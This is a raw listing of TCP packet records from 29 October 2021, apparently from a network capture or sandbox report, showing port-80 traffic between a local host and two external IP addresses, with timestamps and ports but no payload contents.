Oct 29, 2021 20:28:43.156115055 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156189919 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.156194925 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156234980 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156274080 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156320095 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.156382084 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156491041 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.156567097 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156605005 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156683922 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156763077 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.156841040 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.156959057 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.157011032 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157048941 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157124996 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.157155037 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157193899 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157304049 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157334089 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.157393932 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157463074 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.157510042 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157576084 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157614946 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157645941 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.157782078 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157852888 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157855034 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.157895088 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157932997 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.157959938 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:43.158030033 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.184386015 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:43.238768101 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:45.923590899 CEST	49747	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:45.976349115 CEST	80	49747	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:45.976553917 CEST	49747	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:45.976644039 CEST	49747	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:45.976658106 CEST	49747	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.056328058 CEST	80	49747	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:46.056689024 CEST	49747	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.056726933 CEST	49747	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.109164953 CEST	80	49747	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:46.129417896 CEST	49748	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.181287050 CEST	80	49748	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:46.181417942 CEST	49748	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.181562901 CEST	49748	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.181583881 CEST	49748	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.233258009 CEST	80	49748	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:46.257714033 CEST	80	49748	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:46.257817030 CEST	49748	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.258145094 CEST	49748	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:46.292716026 CEST	49749	80	192.168.2.3	216.128.137.31
Oct 29, 2021 20:28:46.310055017 CEST	80	49748	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:49.303016901 CEST	49749	80	192.168.2.3	216.128.137.31
Oct 29, 2021 20:28:55.444147110 CEST	49749	80	192.168.2.3	216.128.137.31
Oct 29, 2021 20:28:57.767002106 CEST	49753	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:57.820952892 CEST	80	49753	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:57.821248055 CEST	49753	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:57.821356058 CEST	49753	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:57.821372986 CEST	49753	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:57.875267029 CEST	80	49753	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:57.903069019 CEST	80	49753	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:57.903167963 CEST	49753	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:57.917068005 CEST	49753	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:57.955710888 CEST	49754	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:57.970984936 CEST	80	49753	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.007612944 CEST	80	49754	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.007764101 CEST	49754	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.007936001 CEST	49754	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.007955074 CEST	49754	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.081513882 CEST	80	49754	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.082648039 CEST	49754	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.083017111 CEST	49754	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.134668112 CEST	80	49754	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.146832943 CEST	49756	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.198190928 CEST	80	49756	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.198402882 CEST	49756	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.198486090 CEST	49756	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.198499918 CEST	49756	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.276401997 CEST	80	49756	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.276679039 CEST	49756	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.276724100 CEST	49756	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.328149080 CEST	80	49756	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.337297916 CEST	49757	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.388828993 CEST	80	49757	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.389270067 CEST	49757	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.389475107 CEST	49757	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.389503956 CEST	49757	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.441167116 CEST	80	49757	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.465982914 CEST	80	49757	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.466216087 CEST	49757	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.466249943 CEST	49757	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.495224953 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.517838001 CEST	80	49757	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.548768044 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.552278996 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.552529097 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.552848101 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.606071949 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.606223106 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634565115 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634604931 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634634018 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634660959 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634686947 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634711981 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634738922 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634740114 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.634766102 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634859085 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634861946 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.634874105 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.634881020 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.634946108 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.688641071 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.688704967 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.688745975 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.688783884 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.688811064 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.688823938 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.688893080 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.688915968 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.688966036 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.688987970 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689018011 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.689030886 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689044952 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.689071894 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689121962 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689168930 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689183950 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.689208984 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689217091 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.689265013 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689316988 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.689322948 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689380884 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689436913 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689454079 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.689500093 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689533949 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689584970 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.689604998 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.689697981 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744110107 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744143963 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744163036 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744182110 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744200945 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744219065 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744237900 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744262934 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744286060 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744309902 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744307995 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744334936 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744350910 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744359016 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744409084 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744427919 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744453907 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744477987 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744501114 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744524956 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744525909 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744548082 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744560957 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744582891 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744616985 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744638920 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744657040 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744673967 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744715929 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744752884 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744860888 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744889975 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744914055 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744937897 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744940042 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.744961977 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.744988918 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.745002031 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745039940 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.745078087 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745104074 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745126963 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745151997 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745158911 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.745198965 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745223999 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745223999 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.745248079 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745260954 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.745274067 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745300055 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745322943 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745342970 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.745368004 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745378971 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.745392084 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.745706081 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.798027992 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798068047 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798091888 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798115969 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798142910 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798146009 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.798166037 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798187017 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798207998 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798228979 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798248053 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798274994 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.798280954 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798304081 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798314095 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798327923 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798351049 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.798352957 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798371077 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.798377991 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798403025 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798423052 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.798427105 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798474073 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.798578024 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.798732042 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.799145937 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.799195051 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.799216032 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.799254894 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.799595118 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.799624920 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.799773932 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.799833059 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.799860001 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.799905062 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.800050020 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.800163031 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.800240993 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.800621986 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.800672054 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.800751925 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801276922 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801307917 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801330090 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801353931 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801383018 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801404953 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801579952 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801635981 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801661968 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801681042 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801704884 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801719904 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801732063 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801758051 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801769972 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801783085 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801791906 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801809072 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801821947 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801835060 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801861048 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801882029 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801906109 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801912069 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801927090 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.801944971 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.801961899 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.853071928 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853113890 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853141069 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853168011 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853194952 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853220940 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853246927 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853266001 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.853275061 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853303909 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853316069 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.853333950 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853346109 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.853360891 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853379011 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.853389025 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853419065 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853432894 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.853493929 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853518963 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853543043 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.853656054 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853688002 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853715897 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.853740931 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.853776932 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.854033947 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.854064941 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.854090929 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.854116917 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.854206085 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.854671955 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.854698896 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.854792118 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.854801893 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.854830980 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.854897976 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.855057001 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.855077028 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.855132103 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.855695009 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.855724096 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.855782986 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.856319904 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856379032 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856435061 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856451035 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856492043 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856511116 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.856534004 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.856534004 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856575966 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856614113 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856642008 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.856654882 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856686115 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.856697083 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856739044 CEST	80	49758	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:58.856765032 CEST	49758	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:58.856780052 CEST	80	49758	185.98.87.159	192.168.2.3
